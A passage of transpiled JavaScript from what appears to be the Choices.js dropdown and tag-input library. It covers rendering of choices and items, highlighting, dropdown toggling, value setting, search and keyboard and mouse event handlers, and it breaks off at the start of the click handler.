var dropdownGroup = _this2._getTemplate('choiceGroup', group);
groupFragment.appendChild(dropdownGroup);
_this2.renderChoices(groupChoices, groupFragment);
}
});
return groupFragment;
}
/**
* Render choices into a DOM fragment and append to choice list
* @param {Array} choices Choices to add to list
* @param {DocumentFragment} fragment Fragment to add choices to (optional)
* @return {DocumentFragment} Populated choices fragment
* @private
*/
}, {
key: 'renderChoices',
value: function renderChoices(choices, fragment) {
var _this3 = this;
// Create a fragment to store our list items (so we don't have to update the DOM for each item)
var choicesFragment = fragment || document.createDocumentFragment();
var filter = this.isSearching ? _utils.sortByScore : this.config.sortFilter;
// If sorting is enabled or the user is searching, filter choices
if (this.config.shouldSort || this.isSearching) {
choices.sort(filter);
}
choices.forEach(function (choice) {
var dropdownItem = _this3._getTemplate('choice', choice);
var shouldRender = _this3.passedElement.type === 'select-one' || !choice.selected;
if (shouldRender) {
choicesFragment.appendChild(dropdownItem);
}
});
return choicesFragment;
}
/**
* Render items into a DOM fragment and append to items list
* @param {Array} items Items to add to list
* @param {DocumentFragment} fragment Fragrment to add items to (optional)
* @return
* @private
*/
}, {
key: 'renderItems',
value: function renderItems(items, fragment) {
var _this4 = this;
// Create fragment to add elements to
var itemListFragment = fragment || document.createDocumentFragment();
// Simplify store data to just values
var itemsFiltered = this.store.getItemsReducedToValues(items);
if (this.passedElement.type === 'text') {
// Assign hidden input array of values
this.passedElement.setAttribute('value', itemsFiltered.join(this.config.delimiter));
} else {
(function () {
var selectedOptionsFragment = document.createDocumentFragment();
// Add each list item to list
items.forEach(function (item) {
// Create a standard select option
var option = _this4._getTemplate('option', item);
// Append it to fragment
selectedOptionsFragment.appendChild(option);
});
// Update selected choices
_this4.passedElement.innerHTML = '';
_this4.passedElement.appendChild(selectedOptionsFragment);
})();
}
// Add each list item to list
items.forEach(function (item) {
// Create new list element
var listItem = _this4._getTemplate('item', item);
// Append it to list
itemListFragment.appendChild(listItem);
});
return itemListFragment;
}
/**
* Render DOM with values
* @return
* @private
*/
}, {
key: 'render',
value: function render() {
this.currentState = this.store.getState();
// Only render if our state has actually changed
if (this.currentState !== this.prevState) {
// Choices
if (this.currentState.choices !== this.prevState.choices || this.currentState.groups !== this.prevState.groups) {
if (this.passedElement.type === 'select-multiple' || this.passedElement.type === 'select-one') {
// Get active groups/choices
var activeGroups = this.store.getGroupsFilteredByActive();
var activeChoices = this.store.getChoicesFilteredByActive();
var choiceListFragment = document.createDocumentFragment();
// Clear choices
this.choiceList.innerHTML = '';
// Scroll back to top of choices list
this.choiceList.scrollTop = 0;
// If we have grouped options
if (activeGroups.length >= 1 && this.isSearching !== true) {
choiceListFragment = this.renderGroups(activeGroups, activeChoices, choiceListFragment);
} else if (activeChoices.length >= 1) {
choiceListFragment = this.renderChoices(activeChoices, choiceListFragment);
}
if (choiceListFragment.childNodes && choiceListFragment.childNodes.length > 0) {
// If we actually have anything to add to our dropdown
// append it and highlight the first choice
this.choiceList.appendChild(choiceListFragment);
this._highlightChoice();
} else {
// Otherwise show a notice
var dropdownItem = this.isSearching ? this._getTemplate('notice', this.config.noResultsText) : this._getTemplate('notice', this.config.noChoicesText);
this.choiceList.appendChild(dropdownItem);
}
}
}
// Items
if (this.currentState.items !== this.prevState.items) {
var activeItems = this.store.getItemsFilteredByActive();
if (activeItems) {
// Create a fragment to store our list items
// (so we don't have to update the DOM for each item)
var itemListFragment = this.renderItems(activeItems);
// Clear list
this.itemList.innerHTML = '';
// If we have items to add
if (itemListFragment.childNodes) {
// Update list
this.itemList.appendChild(itemListFragment);
}
}
}
this.prevState = this.currentState;
}
}
/**
* Select item (a selected item can be deleted)
* @param {Element} item Element to select
* @return {Object} Class instance
* @public
*/
}, {
key: 'highlightItem',
value: function highlightItem(item) {
if (!item) return;
var id = item.id;
this.store.dispatch((0, _index3.highlightItem)(id, true));
// Run callback if it is a function
if (this.config.callbackOnHighlightItem) {
var callback = this.config.callbackOnHighlightItem;
if ((0, _utils.isType)('Function', callback)) {
callback(id, item.value, this.passedElement);
} else {
console.error('callbackOnHighlightItem: Callback is not a function');
}
}
return this;
}
/**
* Deselect item
* @param {Element} item Element to de-select
* @return {Object} Class instance
* @public
*/
}, {
key: 'unhighlightItem',
value: function unhighlightItem(item) {
if (!item) return;
var id = item.id;
this.store.dispatch((0, _index3.highlightItem)(id, false));
// Run callback if it is a function
if (this.config.callbackOnUnhighlightItem) {
var callback = this.config.callbackOnUnhighlightItem;
if ((0, _utils.isType)('Function', callback)) {
callback(id, item.value, this.passedElement);
} else {
console.error('callbackOnUnhighlightItem: Callback is not a function');
}
}
return this;
}
/**
* Highlight items within store
* @return {Object} Class instance
* @public
*/
}, {
key: 'highlightAll',
value: function highlightAll() {
var _this5 = this;
var items = this.store.getItems();
items.forEach(function (item) {
_this5.highlightItem(item);
});
return this;
}
/**
* Deselect items within store
* @return {Object} Class instance
* @public
*/
}, {
key: 'unhighlightAll',
value: function unhighlightAll() {
var _this6 = this;
var items = this.store.getItems();
items.forEach(function (item) {
_this6.unhighlightItem(item);
});
return this;
}
/**
* Remove an item from the store by its value
* @param {String} value Value to search for
* @return {Object} Class instance
* @public
*/
}, {
key: 'removeItemsByValue',
value: function removeItemsByValue(value) {
var _this7 = this;
if (!value || !(0, _utils.isType)('String', value)) {
console.error('removeItemsByValue: No value was passed to be removed');
return;
}
var items = this.store.getItemsFilteredByActive();
items.forEach(function (item) {
if (item.value === value) {
_this7._removeItem(item);
}
});
return this;
}
/**
* Remove all items from store array
* @note Removed items are soft deleted
* @param {Number} excludedId Optionally exclude item by ID
* @return {Object} Class instance
* @public
*/
}, {
key: 'removeActiveItems',
value: function removeActiveItems(excludedId) {
var _this8 = this;
var items = this.store.getItemsFilteredByActive();
items.forEach(function (item) {
if (item.active && excludedId !== item.id) {
_this8._removeItem(item);
}
});
return this;
}
/**
* Remove all selected items from store
* @note Removed items are soft deleted
* @return {Object} Class instance
* @public
*/
}, {
key: 'removeHighlightedItems',
value: function removeHighlightedItems() {
var _this9 = this;
var runCallback = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
var items = this.store.getItemsFilteredByActive();
items.forEach(function (item) {
if (item.highlighted && item.active) {
_this9._removeItem(item);
// If this action was performed by the user
// run the callback
if (runCallback) {
_this9._triggerChange(item.value);
}
}
});
return this;
}
/**
* Show dropdown to user by adding active state class
* @return {Object} Class instance
* @public
*/
}, {
key: 'showDropdown',
value: function showDropdown() {
var focusInput = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
var body = document.body;
var html = document.documentElement;
var winHeight = Math.max(body.scrollHeight, body.offsetHeight, html.clientHeight, html.scrollHeight, html.offsetHeight);
this.containerOuter.classList.add(this.config.classNames.openState);
this.containerOuter.setAttribute('aria-expanded', 'true');
this.dropdown.classList.add(this.config.classNames.activeState);
var dimensions = this.dropdown.getBoundingClientRect();
var dropdownPos = Math.ceil(dimensions.top + window.scrollY + dimensions.height);
// If flip is enabled and the dropdown bottom position is greater than the window height flip the dropdown.
var shouldFlip = this.config.flip ? dropdownPos >= winHeight : false;
if (shouldFlip) {
this.containerOuter.classList.add(this.config.classNames.flippedState);
} else {
this.containerOuter.classList.remove(this.config.classNames.flippedState);
}
// Optionally focus the input if we have a search input
if (focusInput && this.canSearch && document.activeElement !== this.input) {
this.input.focus();
}
return this;
}
/**
* Hide dropdown from user
* @return {Object} Class instance
* @public
*/
}, {
key: 'hideDropdown',
value: function hideDropdown() {
var blurInput = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
// A dropdown flips if it does not have space within the page
var isFlipped = this.containerOuter.classList.contains(this.config.classNames.flippedState);
this.containerOuter.classList.remove(this.config.classNames.openState);
this.containerOuter.setAttribute('aria-expanded', 'false');
this.dropdown.classList.remove(this.config.classNames.activeState);
if (isFlipped) {
this.containerOuter.classList.remove(this.config.classNames.flippedState);
}
// Optionally blur the input if we have a search input
if (blurInput && this.canSearch && document.activeElement === this.input) {
this.input.blur();
}
return this;
}
/**
* Determine whether to hide or show dropdown based on its current state
* @return {Object} Class instance
* @public
*/
}, {
key: 'toggleDropdown',
value: function toggleDropdown() {
var hasActiveDropdown = this.dropdown.classList.contains(this.config.classNames.activeState);
if (hasActiveDropdown) {
this.hideDropdown();
} else {
this.showDropdown(true);
}
return this;
}
/**
* Get value(s) of input (i.e. inputted items (text) or selected choices (select))
* @param {Boolean} valueOnly Get only values of selected items, otherwise return selected items
* @return {Array/String} selected value (select-one) or array of selected items (inputs & select-multiple)
* @public
*/
}, {
key: 'getValue',
value: function getValue() {
var _this10 = this;
var valueOnly = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
var items = this.store.getItemsFilteredByActive();
var selectedItems = [];
items.forEach(function (item) {
if (_this10.passedElement.type === 'text') {
selectedItems.push(valueOnly ? item.value : item);
} else if (item.active) {
selectedItems.push(valueOnly ? item.value : item);
}
});
if (this.passedElement.type === 'select-one') {
return selectedItems[0];
}
return selectedItems;
}
/**
* Set value of input. If the input is a select box, a choice will be created and selected otherwise
* an item will created directly.
* @param {Array} args Array of value objects or value strings
* @return {Object} Class instance
* @public
*/
}, {
key: 'setValue',
value: function setValue(args) {
var _this11 = this;
if (this.initialised === true) {
// Convert args to an itterable array
var values = [].concat(_toConsumableArray(args));
values.forEach(function (item) {
if ((0, _utils.isType)('Object', item)) {
if (!item.value) return;
// If we are dealing with a select input, we need to create an option first
// that is then selected. For text inputs we can just add items normally.
if (_this11.passedElement.type !== 'text') {
_this11._addChoice(true, false, item.value, item.label, -1);
} else {
_this11._addItem(item.value, item.label, item.id);
}
} else if ((0, _utils.isType)('String', item)) {
if (_this11.passedElement.type !== 'text') {
_this11._addChoice(true, false, item, item, -1);
} else {
_this11._addItem(item);
}
}
});
}
return this;
}
/**
* Select value of select box via the value of an existing choice
* @param {Array/String} value An array of strings of a single string
* @return {Object} Class instance
* @public
*/
}, {
key: 'setValueByChoice',
value: function setValueByChoice(value) {
var _this12 = this;
if (this.passedElement.type !== 'text') {
(function () {
var choices = _this12.store.getChoices();
// If only one value has been passed, convert to array
var choiceValue = (0, _utils.isType)('Array', value) ? value : [value];
// Loop through each value and
choiceValue.forEach(function (val) {
var foundChoice = choices.find(function (choice) {
// Check 'value' property exists and the choice isn't already selected
return choice.value === val;
});
if (foundChoice) {
if (!foundChoice.selected) {
_this12._addItem(foundChoice.value, foundChoice.label, foundChoice.id);
} else {
console.warn('Attempting to select choice already selected');
}
} else {
console.warn('Attempting to select choice that does not exist');
}
});
})();
}
return this;
}
/**
* Direct populate choices
* @param {Array} choices - Choices to insert
* @param {String} value - Name of 'value' property
* @param {String} label - Name of 'label' property
* @return {Object} Class instance
* @public
*/
}, {
key: 'setChoices',
value: function setChoices(choices, value, label) {
var _this13 = this;
if (this.initialised === true) {
if (this.passedElement.type === 'select-one' || this.passedElement.type === 'select-multiple') {
if (!(0, _utils.isType)('Array', choices) || !value) return;
if (choices && choices.length) {
this.containerOuter.classList.remove(this.config.classNames.loadingState);
choices.forEach(function (result, index) {
var isSelected = result.selected ? result.selected : false;
var isDisabled = result.disabled ? result.disabled : false;
if (result.choices) {
_this13._addGroup(result, index, value, label);
} else {
_this13._addChoice(isSelected, isDisabled, result[value], result[label]);
}
});
}
}
}
return this;
}
/**
* Clear items,choices and groups
* @note Hard delete
* @return {Object} Class instance
* @public
*/
}, {
key: 'clearStore',
value: function clearStore() {
this.store.dispatch((0, _index3.clearAll)());
return this;
}
/**
* Set value of input to blank
* @return {Object} Class instance
* @public
*/
}, {
key: 'clearInput',
value: function clearInput() {
if (this.input.value) this.input.value = '';
if (this.passedElement.type !== 'select-one') {
this.input.style.width = (0, _utils.getWidthOfInput)(this.input);
}
if (this.passedElement.type !== 'text' && this.config.search) {
this.isSearching = false;
this.store.dispatch((0, _index3.activateChoices)(true));
}
return this;
}
/**
* Enable interaction with Choices
* @return {Object} Class instance
*/
}, {
key: 'enable',
value: function enable() {
this.passedElement.disabled = false;
var isDisabled = this.containerOuter.classList.contains(this.config.classNames.disabledState);
if (this.initialised && isDisabled) {
this._addEventListeners();
this.passedElement.removeAttribute('disabled');
this.input.removeAttribute('disabled');
this.containerOuter.classList.remove(this.config.classNames.disabledState);
this.containerOuter.removeAttribute('aria-disabled');
}
return this;
}
/**
* Disable interaction with Choices
* @return {Object} Class instance
* @public
*/
}, {
key: 'disable',
value: function disable() {
this.passedElement.disabled = true;
var isEnabled = !this.containerOuter.classList.contains(this.config.classNames.disabledState);
if (this.initialised && isEnabled) {
this._removeEventListeners();
this.passedElement.setAttribute('disabled', '');
this.input.setAttribute('disabled', '');
this.containerOuter.classList.add(this.config.classNames.disabledState);
this.containerOuter.setAttribute('aria-disabled', 'true');
}
return this;
}
/**
* Populate options via ajax callback
* @param {Function} fn Passed
* @return {Object} Class instance
* @public
*/
}, {
key: 'ajax',
value: function ajax(fn) {
if (this.initialised === true) {
if (this.passedElement.type === 'select-one' || this.passedElement.type === 'select-multiple') {
// Show loading text
this._handleLoadingState(true);
// Run callback
fn(this._ajaxCallback());
}
}
return this;
}
/*===== End of Public functions ======*/
/*=============================================
= Private functions =
=============================================*/
/**
* Call change callback
* @param {String} value - last added/deleted/selected value
* @return
* @private
*/
}, {
key: '_triggerChange',
value: function _triggerChange(value) {
if (!value) return;
// Run callback if it is a function
if (this.config.callbackOnChange) {
var callback = this.config.callbackOnChange;
if ((0, _utils.isType)('Function', callback)) {
callback(value, this.passedElement);
} else {
console.error('callbackOnChange: Callback is not a function');
}
}
}
/**
* Process enter/click of an item button
* @param {Array} activeItems The currently active items
* @param {Element} element Button being interacted with
* @return
* @private
*/
}, {
key: '_handleButtonAction',
value: function _handleButtonAction(activeItems, element) {
var _this14 = this;
if (!activeItems || !element) return;
// If we are clicking on a button
if (this.config.removeItems && this.config.removeItemButton) {
(function () {
var itemId = element.parentNode.getAttribute('data-id');
var itemToRemove = activeItems.find(function (item) {
return item.id === parseInt(itemId, 10);
});
// Remove item associated with button
_this14._removeItem(itemToRemove);
_this14._triggerChange(itemToRemove.value);
if (_this14.passedElement.type === 'select-one') {
var placeholder = _this14.config.placeholder ? _this14.config.placeholderValue || _this14.passedElement.getAttribute('placeholder') : false;
if (placeholder) {
var placeholderItem = _this14._getTemplate('placeholder', placeholder);
_this14.itemList.appendChild(placeholderItem);
}
}
})();
}
}
/**
* Process click of an item
* @param {Array} activeItems The currently active items
* @param {Element} element Item being interacted with
* @param {Boolean} hasShiftKey Whether the user has the shift key active
* @return
* @private
*/
}, {
key: '_handleItemAction',
value: function _handleItemAction(activeItems, element) {
var _this15 = this;
var hasShiftKey = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;
if (!activeItems || !element) return;
// If we are clicking on an item
if (this.config.removeItems && this.passedElement.type !== 'select-one') {
(function () {
var passedId = element.getAttribute('data-id');
// We only want to select one item with a click
// so we deselect any items that aren't the target
// unless shift is being pressed
activeItems.forEach(function (item) {
if (item.id === parseInt(passedId, 10) && !item.highlighted) {
_this15.highlightItem(item);
} else if (!hasShiftKey) {
if (item.highlighted) {
_this15.unhighlightItem(item);
}
}
});
// Focus input as without focus, a user cannot do anything with a
// highlighted item
if (document.activeElement !== _this15.input) _this15.input.focus();
})();
}
}
/**
* Process click of a choice
* @param {Array} activeItems The currently active items
* @param {Element} element Choice being interacted with
* @return {[type]} [description]
*/
}, {
key: '_handleChoiceAction',
value: function _handleChoiceAction(activeItems, element) {
if (!activeItems || !element) return;
// If we are clicking on an option
var id = element.getAttribute('data-id');
var choice = this.store.getChoiceById(id);
var hasActiveDropdown = this.dropdown.classList.contains(this.config.classNames.activeState);
if (choice && !choice.selected && !choice.disabled) {
var canAddItem = this._canAddItem(activeItems, choice.value);
if (canAddItem.response) {
this._addItem(choice.value, choice.label, choice.id);
this._triggerChange(choice.value);
}
}
this.clearInput(this.passedElement);
// We wont to close the dropdown if we are dealing with a single select box
if (hasActiveDropdown && this.passedElement.type === 'select-one') {
this.hideDropdown();
this.containerOuter.focus();
}
}
/**
* Process back space event
* @param {Array} activeItems items
* @return
* @private
*/
}, {
key: '_handleBackspace',
value: function _handleBackspace(activeItems) {
if (this.config.removeItems && activeItems) {
var lastItem = activeItems[activeItems.length - 1];
var hasHighlightedItems = activeItems.some(function (item) {
return item.highlighted === true;
});
// If editing the last item is allowed and there are not other selected items,
// we can edit the item value. Otherwise if we can remove items, remove all selected items
if (this.config.editItems && !hasHighlightedItems && lastItem) {
this.input.value = lastItem.value;
this.input.style.width = (0, _utils.getWidthOfInput)(this.input);
this._removeItem(lastItem);
this._triggerChange(lastItem.value);
} else {
if (!hasHighlightedItems) {
this.highlightItem(lastItem);
}
this.removeHighlightedItems(true);
}
}
}
/**
* Validates whether an item can be added by a user
* @param {Array} activeItems The currently active items
* @param {String} value Value of item to add
* @return {Object} Response: Whether user can add item
* Notice: Notice show in dropdown
*/
}, {
key: '_canAddItem',
value: function _canAddItem(activeItems, value) {
var canAddItem = true;
var notice = 'Press Enter to add <b>"' + value + '"</b>';
if (this.passedElement.type === 'select-multiple' || this.passedElement.type === 'text') {
if (this.config.maxItemCount > 0 && this.config.maxItemCount <= this.itemList.children.length) {
// If there is a max entry limit and we have reached that limit
// don't update
canAddItem = false;
notice = 'Only ' + this.config.maxItemCount + ' values can be added.';
}
}
if (this.passedElement.type === 'text' && this.config.addItems) {
var isUnique = !activeItems.some(function (item) {
return item.value === value.trim();
});
// If a user has supplied a regular expression filter
if (this.config.regexFilter) {
// Determine whether we can update based on whether
// our regular expression passes
canAddItem = this._regexFilter(value);
}
// If no duplicates are allowed, and the value already exists
// in the array
if (this.config.duplicateItems === false && !isUnique) {
canAddItem = false;
notice = 'Only unique values can be added.';
}
}
return {
response: canAddItem,
notice: notice
};
}
/**
* Apply or remove a loading state to the component.
* @param {Boolean} isLoading default value set to 'true'.
* @return
* @private
*/
}, {
key: '_handleLoadingState',
value: function _handleLoadingState() {
var isLoading = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : true;
var placeholderItem = this.itemList.querySelector('.' + this.config.classNames.placeholder);
if (isLoading) {
this.containerOuter.classList.add(this.config.classNames.loadingState);
this.containerOuter.setAttribute('aria-busy', 'true');
if (this.passedElement.type === 'select-one') {
if (!placeholderItem) {
placeholderItem = this._getTemplate('placeholder', this.config.loadingText);
this.itemList.appendChild(placeholderItem);
} else {
placeholderItem.innerHTML = this.config.loadingText;
}
} else {
this.input.placeholder = this.config.loadingText;
}
} else {
// Remove loading states/text
this.containerOuter.classList.remove(this.config.classNames.loadingState);
var placeholder = this.config.placeholder ? this.config.placeholderValue || this.passedElement.getAttribute('placeholder') : false;
if (this.passedElement.type === 'select-one') {
placeholderItem.innerHTML = placeholder || '';
} else {
this.input.placeholder = placeholder || '';
}
}
}
/**
* Retrieve the callback used to populate component's choices in an async way.
* @returns {Function} The callback as a function.
* @private
*/
}, {
key: '_ajaxCallback',
value: function _ajaxCallback() {
var _this16 = this;
return function (results, value, label) {
if (!results || !value) return;
var parsedResults = (0, _utils.isType)('Object', results) ? [results] : results;
if (parsedResults && (0, _utils.isType)('Array', parsedResults) && parsedResults.length) {
// Remove loading states/text
_this16._handleLoadingState(false);
// Add each result as a choice
parsedResults.forEach(function (result, index) {
var isSelected = result.selected ? result.selected : false;
var isDisabled = result.disabled ? result.disabled : false;
if (result.choices) {
_this16._addGroup(result, index, value, label);
} else {
_this16._addChoice(isSelected, isDisabled, result[value], result[label]);
}
});
}
_this16.containerOuter.removeAttribute('aria-busy');
};
}
/**
* Filter choices based on search value
* @param {String} value Value to filter by
* @return
* @private
*/
}, {
key: '_searchChoices',
value: function _searchChoices(value) {
var newValue = (0, _utils.isType)('String', value) ? value.trim() : value;
var currentValue = (0, _utils.isType)('String', this.currentValue) ? this.currentValue.trim() : this.currentValue;
// If new value matches the desired length and is not the same as the current value with a space
if (newValue.length >= 1 && newValue !== currentValue + ' ') {
var haystack = this.store.getChoicesFilteredBySelectable();
var needle = newValue;
var keys = (0, _utils.isType)('Array', this.config.sortFields) ? this.config.sortFields : [this.config.sortFields];
var fuse = new _fuse2.default(haystack, {
keys: keys,
shouldSort: true,
include: 'score'
});
var results = fuse.search(needle);
this.currentValue = newValue;
this.highlightPosition = 0;
this.isSearching = true;
this.store.dispatch((0, _index3.filterChoices)(results));
}
}
/**
* Determine the action when a user is searching
* @param {String} value Value entered by user
* @return
* @private
*/
}, {
key: '_handleSearch',
value: function _handleSearch(value) {
if (!value) return;
var choices = this.store.getChoices();
var hasUnactiveChoices = choices.some(function (option) {
return option.active !== true;
});
// Run callback if it is a function
if (this.input === document.activeElement) {
// Check that we have a value to search and the input was an alphanumeric character
if (value && value.length > this.config.searchFloor) {
// Filter available choices
this._searchChoices(value);
// Run callback if it is a function
if (this.config.callbackOnSearch) {
var callback = this.config.callbackOnSearch;
if ((0, _utils.isType)('Function', callback)) {
callback(value, this.passedElement);
} else {
console.error('callbackOnSearch: Callback is not a function');
}
}
} else if (hasUnactiveChoices) {
// Otherwise reset choices to active
this.isSearching = false;
this.store.dispatch((0, _index3.activateChoices)(true));
}
}
}
/**
* Trigger event listeners
* @return
* @private
*/
}, {
key: '_addEventListeners',
value: function _addEventListeners() {
document.addEventListener('keyup', this._onKeyUp);
document.addEventListener('keydown', this._onKeyDown);
document.addEventListener('click', this._onClick);
document.addEventListener('touchmove', this._onTouchMove);
document.addEventListener('touchend', this._onTouchEnd);
document.addEventListener('mousedown', this._onMouseDown);
document.addEventListener('mouseover', this._onMouseOver);
if (this.passedElement.type && this.passedElement.type === 'select-one') {
this.containerOuter.addEventListener('focus', this._onFocus);
this.containerOuter.addEventListener('blur', this._onBlur);
}
this.input.addEventListener('input', this._onInput);
this.input.addEventListener('paste', this._onPaste);
this.input.addEventListener('focus', this._onFocus);
this.input.addEventListener('blur', this._onBlur);
}
/**
* Destroy event listeners
* @return
* @private
*/
}, {
key: '_removeEventListeners',
value: function _removeEventListeners() {
document.removeEventListener('keyup', this._onKeyUp);
document.removeEventListener('keydown', this._onKeyDown);
document.removeEventListener('click', this._onClick);
document.removeEventListener('touchmove', this._onTouchMove);
document.removeEventListener('touchend', this._onTouchEnd);
document.removeEventListener('mousedown', this._onMouseDown);
document.removeEventListener('mouseover', this._onMouseOver);
if (this.passedElement.type && this.passedElement.type === 'select-one') {
this.containerOuter.removeEventListener('focus', this._onFocus);
this.containerOuter.removeEventListener('blur', this._onBlur);
}
this.input.removeEventListener('input', this._onInput);
this.input.removeEventListener('paste', this._onPaste);
this.input.removeEventListener('focus', this._onFocus);
this.input.removeEventListener('blur', this._onBlur);
}
/**
* Key down event
* @param {Object} e Event
* @return
*/
}, {
key: '_onKeyDown',
value: function _onKeyDown(e) {
var _this17 = this,
_keyDownActions;
if (e.target !== this.input && !this.containerOuter.contains(e.target)) return;
var target = e.target;
var activeItems = this.store.getItemsFilteredByActive();
var hasFocusedInput = this.input === document.activeElement;
var hasActiveDropdown = this.dropdown.classList.contains(this.config.classNames.activeState);
var hasItems = this.itemList && this.itemList.children;
var keyString = String.fromCharCode(e.keyCode);
var backKey = 46;
var deleteKey = 8;
var enterKey = 13;
var aKey = 65;
var escapeKey = 27;
var upKey = 38;
var downKey = 40;
var ctrlDownKey = e.ctrlKey || e.metaKey;
// If a user is typing and the dropdown is not active
if (this.passedElement.type !== 'text' && /[a-zA-Z0-9-_ ]/.test(keyString) && !hasActiveDropdown) {
this.showDropdown(true);
}
this.canSearch = this.config.search;
var onAKey = function onAKey() {
// If CTRL + A or CMD + A have been pressed and there are items to select
if (ctrlDownKey && hasItems) {
_this17.canSearch = false;
if (_this17.config.removeItems && !_this17.input.value && _this17.input === document.activeElement) {
// Highlight items
_this17.highlightAll(_this17.itemList.children);
}
}
};
var onEnterKey = function onEnterKey() {
// If enter key is pressed and the input has a value
if (_this17.passedElement.type === 'text' && target.value) {
var value = _this17.input.value;
var canAddItem = _this17._canAddItem(activeItems, value);
// All is good, add
if (canAddItem.response) {
if (hasActiveDropdown) {
_this17.hideDropdown();
}
_this17._addItem(value);
_this17._triggerChange(value);
_this17.clearInput(_this17.passedElement);
}
}
if (target.hasAttribute('data-button')) {
_this17._handleButtonAction(activeItems, target);
e.preventDefault();
}
if (hasActiveDropdown) {
var highlighted = _this17.dropdown.querySelector('.' + _this17.config.classNames.highlightedState);
// If we have a highlighted choice
if (highlighted) {
_this17._handleChoiceAction(activeItems, highlighted);
}
} else if (_this17.passedElement.type === 'select-one') {
// Open single select dropdown if it's not active
if (!hasActiveDropdown) {
_this17.showDropdown(true);
e.preventDefault();
}
}
};
var onEscapeKey = function onEscapeKey() {
if (hasActiveDropdown) {
_this17.toggleDropdown();
}
};
var onDirectionKey = function onDirectionKey() {
// If up or down key is pressed, traverse through options
if (hasActiveDropdown || _this17.passedElement.type === 'select-one') {
// Show dropdown if focus
if (!hasActiveDropdown) {
_this17.showDropdown(true);
}
var currentEl = _this17.dropdown.querySelector('.' + _this17.config.classNames.highlightedState);
var directionInt = e.keyCode === downKey ? 1 : -1;
var nextEl = void 0;
_this17.canSearch = false;
if (currentEl) {
nextEl = (0, _utils.getAdjacentEl)(currentEl, '[data-choice-selectable]', directionInt);
} else {
nextEl = _this17.dropdown.querySelector('[data-choice-selectable]');
}
if (nextEl) {
// We prevent default to stop the cursor moving
// when pressing the arrow
if (!(0, _utils.isScrolledIntoView)(nextEl, _this17.choiceList, directionInt)) {
_this17._scrollToChoice(nextEl, directionInt);
}
_this17._highlightChoice(nextEl);
}
// Prevent default to maintain cursor position whilst
// traversing dropdown options
e.preventDefault();
}
};
var onDeleteKey = function onDeleteKey() {
// If backspace or delete key is pressed and the input has no value
if (hasFocusedInput && !e.target.value && _this17.passedElement.type !== 'select-one') {
_this17._handleBackspace(activeItems);
e.preventDefault();
}
};
// Map keys to key actions
var keyDownActions = (_keyDownActions = {}, _defineProperty(_keyDownActions, aKey, onAKey), _defineProperty(_keyDownActions, enterKey, onEnterKey), _defineProperty(_keyDownActions, escapeKey, onEscapeKey), _defineProperty(_keyDownActions, upKey, onDirectionKey), _defineProperty(_keyDownActions, downKey, onDirectionKey), _defineProperty(_keyDownActions, deleteKey, onDeleteKey), _defineProperty(_keyDownActions, backKey, onDeleteKey), _keyDownActions);
// If keycode has a function, run it
if (keyDownActions[e.keyCode]) {
keyDownActions[e.keyCode]();
}
}
/**
* Key up event
* @param {Object} e Event
* @return
* @private
*/
}, {
key: '_onKeyUp',
value: function _onKeyUp(e) {
if (e.target !== this.input) return;
// We are typing into a text input and have a value, we want to show a dropdown
// notice. Otherwise hide the dropdown
if (this.passedElement.type === 'text') {
var hasActiveDropdown = this.dropdown.classList.contains(this.config.classNames.activeState);
var value = this.input.value;
if (value) {
var activeItems = this.store.getItemsFilteredByActive();
var canAddItem = this._canAddItem(activeItems, value);
if (canAddItem.notice) {
var dropdownItem = this._getTemplate('notice', canAddItem.notice);
this.dropdown.innerHTML = dropdownItem.outerHTML;
}
if (canAddItem.response === true) {
if (!hasActiveDropdown) {
this.showDropdown();
}
} else if (!canAddItem.notice && hasActiveDropdown) {
this.hideDropdown();
}
} else if (hasActiveDropdown) {
this.hideDropdown();
}
} else {
var backKey = 46;
var deleteKey = 8;
// If user has removed value...
if ((e.keyCode === backKey || e.keyCode === deleteKey) && !e.target.value) {
// ...and it is a multiple select input, activate choices (if searching)
if (this.passedElement.type !== 'text' && this.isSearching) {
this.isSearching = false;
this.store.dispatch((0, _index3.activateChoices)(true));
}
} else if (this.canSearch) {
this._handleSearch(this.input.value);
}
}
}
/**
* Input event
* @param {Object} e Event
* @return
* @private
*/
}, {
key: '_onInput',
value: function _onInput() {
if (this.passedElement.type !== 'select-one') {
if (this.config.placeholder && (this.config.placeholderValue || this.passedElement.getAttribute('placeholder'))) {
// If there is a placeholder, we only want to set the width of the input when it is a greater
// length than 75% of the placeholder. This stops the input jumping around.
var placeholder = this.config.placeholder ? this.config.placeholderValue || this.passedElement.getAttribute('placeholder') : false;
if (this.input.value && this.input.value.length >= placeholder.length / 1.25) {
this.input.style.width = (0, _utils.getWidthOfInput)(this.input);
}
} else {
// If there is no placeholder, resize input to contents
this.input.style.width = (0, _utils.getWidthOfInput)(this.input);
}
}
}
/**
* Touch move event
* @param {Object} e Event
* @return
* @private
*/
}, {
key: '_onTouchMove',
value: function _onTouchMove() {
if (this.wasTap === true) {
this.wasTap = false;
}
}
/**
* Touch end event
* @param {Object} e Event
* @return
* @private
*/
}, {
key: '_onTouchEnd',
value: function _onTouchEnd(e) {
var target = e.target || e.touches[0].target;
var hasActiveDropdown = this.dropdown.classList.contains(this.config.classNames.activeState);
// If a user tapped within our container...
if (this.wasTap === true && this.containerOuter.contains(target)) {
// ...and we aren't dealing with a single select box, show dropdown/focus input
if ((target === this.containerOuter || target === this.containerInner) && this.passedElement.type !== 'select-one') {
if (this.passedElement.type === 'text') {
// If text element, we only want to focus the input (if it isn't already)
if (document.activeElement !== this.input) {
this.input.focus();
}
} else {
if (!hasActiveDropdown) {
// If a select box, we want to show the dropdown
this.showDropdown(true);
}
}
}
// Prevents focus event firing
e.stopPropagation();
}
this.wasTap = true;
}
/**
* Mouse down event
* @param {Object} e Event
* @return
* @private
*/
}, {
key: '_onMouseDown',
value: function _onMouseDown(e) {
var target = e.target;
if (this.containerOuter.contains(target) && target !== this.input) {
var activeItems = this.store.getItemsFilteredByActive();
var hasShiftKey = e.shiftKey;
if (target.hasAttribute('data-item')) {
this._handleItemAction(activeItems, target, hasShiftKey);
} else if (target.hasAttribute('data-choice')) {
this._handleChoiceAction(activeItems, target);
}
e.preventDefault();
}
}
/**
* Click event
* @param {Object} e Event
* @return
* @private
*/
}, {
key: '_onClick',
value: function _onClick(e) {
var target = e.target;
